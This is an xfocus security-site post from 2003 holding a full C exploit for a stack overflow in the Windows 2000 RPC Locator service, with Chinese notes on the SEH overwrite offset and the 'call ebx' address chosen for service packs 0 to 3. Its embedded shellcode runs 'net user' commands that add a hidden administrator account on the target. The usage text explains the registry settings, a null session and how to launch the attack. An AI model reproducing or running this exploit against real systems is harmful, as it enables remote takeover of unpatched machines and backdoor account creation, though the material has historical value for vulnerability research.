xfocus logo xfocus title
首页 焦点原创 安全文摘 安全工具 安全漏洞 焦点项目 焦点论坛 关于我们
添加文章 English Version

MS RPC LOCATOR Service Exploit for win2k(new version)


创建时间:2003-04-07
文章属性:原创
文章提交:eyas (ey4s_at_21cn.com)

/*------------------------------------------------------------------------------------
Created at:        2003-04-05
Last updated:    2003-04-07
      前几天在packetstorm下载rpcexp.c试了试,没成功,但locator服务却当掉了。于是便想看看到底怎么
回事。后来找到点资料,原来是个stack溢出,问题出在wcscpy函数。跟踪了一下,函数调用关系是
这样的:

locator!Locator::nsi_binding_lookup_begin:
    |__locator!Locator::nsi_binding_lookup_begin_name:
        |__locator!CRemoteLookupHandle::finished:
            |__locator!CBroadcastLookupHandle::initialize:
                |__locator!getBroadcastResults
                    |__locator!formQueryPacket
                        |__wcscpy     <-- buff overflow


    getBroadcastResults函数的返回地址在buff+0x514处,经测试,win2k中文、英文 sp0-3版本的
溢出点都一样。但是如果覆盖getBroadcastResults函数的返回地址,在locator!formQueryPacket
后面的代码运行会出现0xC0000005错误,这样的话,那就只好覆盖SEH了。Exception Handler地址
存放在buff+0x504处,中英文sp0-3版本都一样。Marcin Wolak写的rpcexp.c 的jmpaddr为0x0090F8F0,
我估计这个地址是他自己在测试的时候,shellcode存放的地址,他在SEH处直接跳到shellcode去了,
因为我在测试的时候,wcscpy将我们的buff copy到0x009xxxxx附近,当然, 这在不同平台上测试的
时候会有所不同,甚至相差很大。仅仅是猜测而已,因为我初学这个,看不懂他的代码:(。

    改写后的SEH显然在这里指向jmp esp是不行了,后来跟踪的时候发现, 当Exception发生后,
Windows系统正准备处理Exception的一刹那间,寄存器ebx正好指向当前存放Exception Handler地址的
地址-4,即是说假如Exception Handler地址存放在0x0098F8EC,那么EBX值就为0x0098F8E8。这样的话,
改写Exception Handler地址为call ebx的地址就可以执行我们的shellcode了。后来回过头来看莫大
的文章时,才看到在他文章里面这个已经写的比较详细了,我看资料太不认真了:(。不过莫大没有说
原理,所以到底为什么会这样,我也不知道。

    call ebx的地址在不同平台上并不通用,后来看了一下各平台上的locator.exe版本,发现sp0、sp1
中版本为都为5.0.2195.1,sp2版本为5.0.2195.2505,sp3版本为5.0.2195.3761,打过补丁后的版本
为5.0.2195.6136。locator.exe版本改动较少,于是便决定用locator.exe里面的call ebx地址,kernel32
这些dll,几乎每个hotfixs都要更新,用里面的call ebx地址就很不通用了。

    搜索的时候发现sp1、sp2中call ebx地址相同的有10个,sp1和sp3中有一个相同地址,sp2和sp3
无相同地址。但是也发现一个很好玩的地方,例如sp1中在0x0100a8eb有call ebx,那么sp3中在0x0100a8ec
也有个call ebx,嘿嘿。。
    
    经过比较,jmp addr我决定用0x0100AEE5,在sp0、sp1、sp2中,
0:004> u 0x0100AEE5
0100aee5 ffd3             call    ebx
    在sp3中,    
0:004> u 0x0100AEE5
0100aee5 40               inc     eax
0100aee6 ffd3             call    ebx

    我们发送的buff结构如下:
|rpc_head_info?(8)|NOP(0x4F8)|jmp 0xA(2)|NOP(2)|call ebx addr(4)|NOP(4)|shellcode|

    shellcode没什么特殊要求,只要没有"\x00\x00"就可以了,不然会被wcscpy截短。
    shellcode代码大部分直接来自莫大的文章,感谢他,感谢莫大、backend、ipxodi等精彩的
关于windows平台缓冲区溢出的文章。
-------------------------------------------------------------------------------------*/
#define UNICODE
#define RPC_UNICODE_SUPPORTED

#include <stdio.h>
#include <rpc.h>
#include <rpcnsi.h>

#pragma comment(lib, "rpcns4.lib")

//SEH Handler地址偏移,win2k所有版本溢出点都一样
#define    sehoffset    0x504
//call ebx addr in locator.exe process
/*
sp0 sp1 sp2
0:004> u 0x0100AEE5
0100aee5 ffd3             call    ebx
sp3    
0:004> u 0x0100AEE5
0100aee5 40               inc     eax
0100aee6 ffd3             call    ebx
*/
#define    JMPADDR "\xE5\xAE\x00\x01"
#define    JMPOVER "\xEB\x0A\x90\x90"//jmp    0xa

//hey,guy,you should modify this code slightly by yourself.
char shellcode [] =
"\x55\x8B\xEC\xEB\x64\x5A\xB8\x04"
"\x00\xF1\x77\x81\x38\x4D\x5A\x90"
"\x00\x74\x03\x48\xEB\xF5\x8B\xD8"
"\x8B\x73\x3C\x03\xF3\x8B\x76\x78"
"\x03\xF3\x8B\x7E\x20\x03\xFB\x8B"
"\x4E\x14\x33\xED\x56\x57\x51\x8B"
"\x3F\x03\xFB\x8B\xF2\x33\xC9\x83"
"\xC1\x0E\xF3\xA6\x74\x08\x59\x5F"
"\x83\xC7\x04\x45\xE2\xE7\x59\x5F"
"\x5E\x8B\xCD\x8B\x46\x24\x03\xC3"
"\xD1\xE1\x03\xC1\x33\xC9\x66\x8B"
"\x08\x8B\x46\x1C\x03\xC3\xC1\xE1"
"\x02\x03\xC1\x8B\x00\x03\xC3\xEB"
"\x02\xEB\x37\x8B\xFA\x8B\xF2\x89"
"\x06\x83\xC7\x0F\x57\x53\xFF\xD0"
"\x83\xC6\x04\x89\x06\x83\xC7\x08"
"\x57\x53\x8B\x46\xFC\xFF\xD0\x83"
"\xC6\x04\x89\x06\x33\xC0\x50\x83"
"\xC7\x06\x57\x8B\x46\xFC\xFF\xD0"
"\xB8\xFF\xFF\xFF\xFF\x50\x8B\x06"
"\xFF\xD0\xE8\x5E\xFF\xFF\xFF"
"getprocaddress""\x0"
"winexec""\x0"
"sleep""\x0"
"cmd /c net.exe user xx 1a!.9nH /add && net localgroup administrators xx /add";

DWORD WINAPI func(LPVOID lp)
{
    unsigned char    buff[4000];
    unsigned short * pszStrBinding = NULL;
    RPC_NS_HANDLE hnsHandle;
    unsigned long NsSntxType = RPC_C_NS_SYNTAX_DEFAULT;
    RPC_STATUS status;
    unsigned long i;

    //填充buff
    buff[0] = '/';
    buff[1] = 0;
    buff[2] = '.';
    buff[3] = 0;
    buff[4] = ':';
    buff[5] = 0;
    buff[6] = '/';
    buff[7] = 0;
    for (i=8;i<sehoffset-4;i++)
    {
        buff[i] = '\x90';
    }
    strcpy(&buff[i], JMPOVER);
    //jmpaddr可能包含有0
    memcpy(&buff[i+4], JMPADDR, 4);
    strcpy(&buff[i+8], "\x90\x90\x90\x90");
    memcpy(&buff[i+12], shellcode, sizeof(shellcode));

    RpcTryExcept
    {
        status = RpcNsBindingLookupBegin(NsSntxType,
                                         (unsigned short *) buff,
                                         0,
                                         NULL,
                                         0,
                                         &hnsHandle);
            printf("RpcNsBindingLookupBegin returned 0x%x\n", status);
    }
    RpcExcept(1)
    {
        printf("RPC Runtime raised exception 0x%x\n", RpcExceptionCode());
    }
    RpcEndExcept
    return 0;
}
void usage()
{
        printf( "\nxLocator -- MS RPC LOCATOR Service Exploit for win2k_en_cn_sp0-3\n"
                "Author: cooleyas@21cn.com 2003-04-07\n"
                "Based on Marcin Wolak\'s rpcexp.c\n\n"
                "usage:\n"
                "1.Set registry values in Your workstation as below:\n"
                "   HKLM\\SOFTWARE\\Microsoft\\Rpc\\NameService\\NetworkAddress = targetIP\n"
                "   HKLM\\SOFTWARE\\Microsoft\\Rpc\\NameService\\ServerNetworkAddress = targetIP\n"
                "2.Establish null session: net use \\\\targetIP\\ipc$ \"\"/u: \"\"\n"
                "3.Run Exploit: xLocator\n"
                "  if success,target will add a user \"xx\" passwd is \"1a!.9nH\".\n");
}
void _CRTAPI1 main(int argc, char **argv)
{
    
    if(argc!=1)
    {
        usage();
        exit(0);
    }
    CreateThread(NULL, 0, func, NULL, 0, NULL);
    Sleep(4000);
    printf("Done.\n");
} /*End of Main*/